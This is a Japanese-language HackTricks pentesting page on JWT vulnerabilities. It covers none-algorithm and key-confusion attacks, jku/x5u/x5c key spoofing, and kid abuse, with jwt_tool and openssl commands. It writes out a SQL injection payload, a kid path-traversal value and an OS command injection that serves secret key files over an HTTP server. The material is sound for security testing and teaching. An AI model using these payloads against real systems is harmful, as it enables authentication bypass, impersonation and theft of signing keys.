hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

21 KiB
Raw Blame History

JWTの脆弱性Json Web Tokens

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

この投稿の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

クイックウィン

jwt_toolAll Tests!モードで実行し、緑色の行を待ちます

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません

その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプできます

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

データを変更せずにデータを改ざんする

署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。例えば、ユーザー名を "admin" に変更してみてください。

トークンがチェックされているかどうか

JWTの署名が検証されているかどうかを確認するには:

  • エラーメッセージが検証中を示唆している場合は、詳細なエラーに含まれる機密情報を確認する必要があります。
  • 返されるページの変化も検証を示します。
  • 変化がない場合は検証が行われていないことを示し、この場合はペイロードのクレームを改ざんして実験するタイミングです。

起源

トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを調査することで、プロキシのリクエスト履歴を調べることが重要です。

  • クライアントサイドから最初に見られたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
  • サーバーサイドで発生したトークンはセキュアなプロセスを示します。

期間

トークンが24時間以上続くかどうかを確認してください... 期限がないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。

HMACシークレットの総当たり攻撃

このページを参照してください。

アルゴリズムをNoneに変更する(CVE-2015-9235)

使用されるアルゴリズムを "None" に設定し、署名部分を削除します。

この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更しますリクエストをRepeaterに送信し、"JSON Web Token"タブでトークンの値を変更できます。また、"Alg"フィールドの値を "None" に設定することもできます)。

アルゴリズムをRS256非対称からHS256対称に変更する(CVE-2016-5431/CVE-2016-10555)

アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証に公開鍵を使用します。

アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。

その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行しているWebサーバーの証明書を取得できます。

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証しますCVE-2018-0114

これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します

JWKSスプーフィング

この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJWKSJSON Web Key Setファイルにリンクする必要があります。

  • "jku"ヘッダーを持つトークンの評価:
  • "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
  • トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
  • HTTPインタラクションの監視:
  • 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを示します。
  • このプロセスでjwt_toolを使用する場合、テストを容易にするためにjwtconf.iniファイルを個人のJWKSの場所に更新することが重要です。
  • jwt_toolのコマンド:
  • 次のコマンドを実行して、jwt_toolでシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s

Kidの問題の概要

kidとして知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、トークンの署名検証のために複数のキーが存在する環境で特に重要となります。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。

"kid"を通じてキーを明らかにする

kidクレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、「"kid":"key/12345"」が指定されている場合、Webルート内のファイル /key/12345 および /key/12345.pem を検索する必要があります。

"kid"を使用したパス遍歴

kidクレームは、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択することができるようになります。kidの値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行したりすることが可能です。kidの値を変更して元の署名を保持しながらJWTを改ざんするには、jwt_toolで-Tフラグを使用します。以下に示すように:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

ファイルの内容が予測可能なものを標的にすることで、有効なJWTを偽装することが可能です。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space ファイルは値 2 を含むことが知られており、JWT生成の対称パスワードとして kid パラメータで 2 を使用できます。

"kid" を通じたSQLインジェクション

kid クレームの内容がデータベースからパスワードを取得するために使用される場合、kid ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです

non-existent-index' UNION SELECT 'ATTACKER';-- -

この変更により、JWT署名に既知の秘密キー ATTACKER が使用されるようになります。

"kid" を介したOSインジェクション

kid パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行RCEの脆弱性が発生する可能性があります。kid パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u と jku

jku

jku は JWK Set URL の略です。
トークンが "jku" Header クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。

まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

その後、jwt.ioを使用して、作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。

公開証明書からパラメータ "e" と "n" を取得することができます。

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。

このヘッダーをあなたがコントロールするURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。

あなたがコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

次に、例えばjwt.ioを使用して、作成した公開鍵と秘密鍵を使用し、パラメータx5uを作成した.crt証明書に指定して新しいJWTを作成できます。

これらの脆弱性をSSRFに悪用することもできます

x5c

このパラメータにはBase64形式の証明書が含まれる場合があります:

攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、x5tを変更すると、基本的にサーバーによって偽造トークンが受け入れられるようになります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵CVE-2018-0114

JWTに次のシナリオのように公開鍵が埋め込まれている場合

次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することが可能です

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次のNode.jsスクリプトを使用して、「n」と「e」を取得できます

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最終的に、公開鍵と秘密鍵、および新しい "n" と "e" の値を使用して、jwt.io を使用して任意の情報を持つ新しい有効なJWTを偽造できます。

JTIJWT ID

JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。トークンの再生を防ぐために使用できます。
ただし、IDの最大長が40001-9999である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストを再生することができます成功した再生ごとに10000リクエストを送信する必要があります

JWT登録済みクレーム

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

その他の攻撃

クロスサービスリレーアタック

一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントが受け入れた、JWTサービスによって1つのクライアント用に生成されたトークンのインスタンスが記録されています。第三者サービスを介したJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するために再生の試みを行うべきです。

  • トークンが受け入れられることで、任意のユーザのアカウントをスプーフィングする可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要となる可能性があることに注意する必要があります。

トークンの有効期限チェック

トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしでよく使用されるため、慎重な処理が必要です。他のユーザのJWTをキャプチャして再生することで、そのユーザをなりすますことができる場合があります。JWT RFCは、JWTの再生攻撃を緩和するために、「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションによる関連するチェックの実装は、この値の処理を確実にし、期限切れのトークンを拒否することが重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限のチェックUTCのタイムスタンプは、jwt_toolの-Rフラグを使用して読むことができます。

  • アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。

ツール

{% embed url="https://github.com/ticarpi/jwt_tool" %}

ハッキングキャリアに興味がある方、そしてハッキングできないものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキングを学ぶ**

HackTricksをサポートする他の方法